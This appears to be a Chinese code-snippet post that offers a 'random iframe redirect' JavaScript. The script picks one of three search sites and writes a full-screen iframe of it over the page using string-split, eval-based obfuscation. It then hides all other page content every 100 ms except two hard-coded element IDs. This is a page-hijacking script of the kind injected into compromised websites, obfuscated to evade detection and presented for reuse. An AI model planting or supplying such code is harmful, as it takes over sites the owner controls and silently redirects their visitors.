随机iframe框架跳转的js代码

编程语言
0 636

随机iframe框架跳转的js代码
var m = 3;//几个事件
var n = Math.floor(Math.random() * m + 1); //随机选取事件
switch (n) {
case 1://事件一:iframe框架跳转
    a = 'http://www.baidu.com';
    var ss = '
<ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.baidu.com">
html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}'
; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setInterval(function() { try { document.getElementById("div" + "All").style.display = "no" + "ne" } catch(e) {} for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; if (b != "iconDiv1" && b != "showcloneshengxiaon") { document.body.children[i].style.display = "non" + "e" } } catch(e) {} } }, 100) } catch(e) {} break; case 2://事件二:iframe框架跳转 a = 'http://www.sougou.com'; var ss = '
<ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.sougou.com">
html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}'
; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setInterval(function() { try { document.getElementById("div" + "All").style.display = "no" + "ne" } catch(e) {} for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; if (b != "iconDiv1" && b != "showcloneshengxiaon") { document.body.children[i].style.display = "non" + "e" } } catch(e) {} } }, 100) } catch(e) {} break; case 3://事件三:iframe框架跳转 a = 'http://www.360.com'; var ss = '
<ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.360.com">
html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}'
; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setInterval(function() { try { document.getElementById("div" + "All").style.display = "no" + "ne" } catch(e) {} for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; if (b != "iconDiv1" && b != "showcloneshengxiaon") { document.body.children[i].style.display = "non" + "e" } } catch(e) {} } }, 100) } catch(e) {} break; }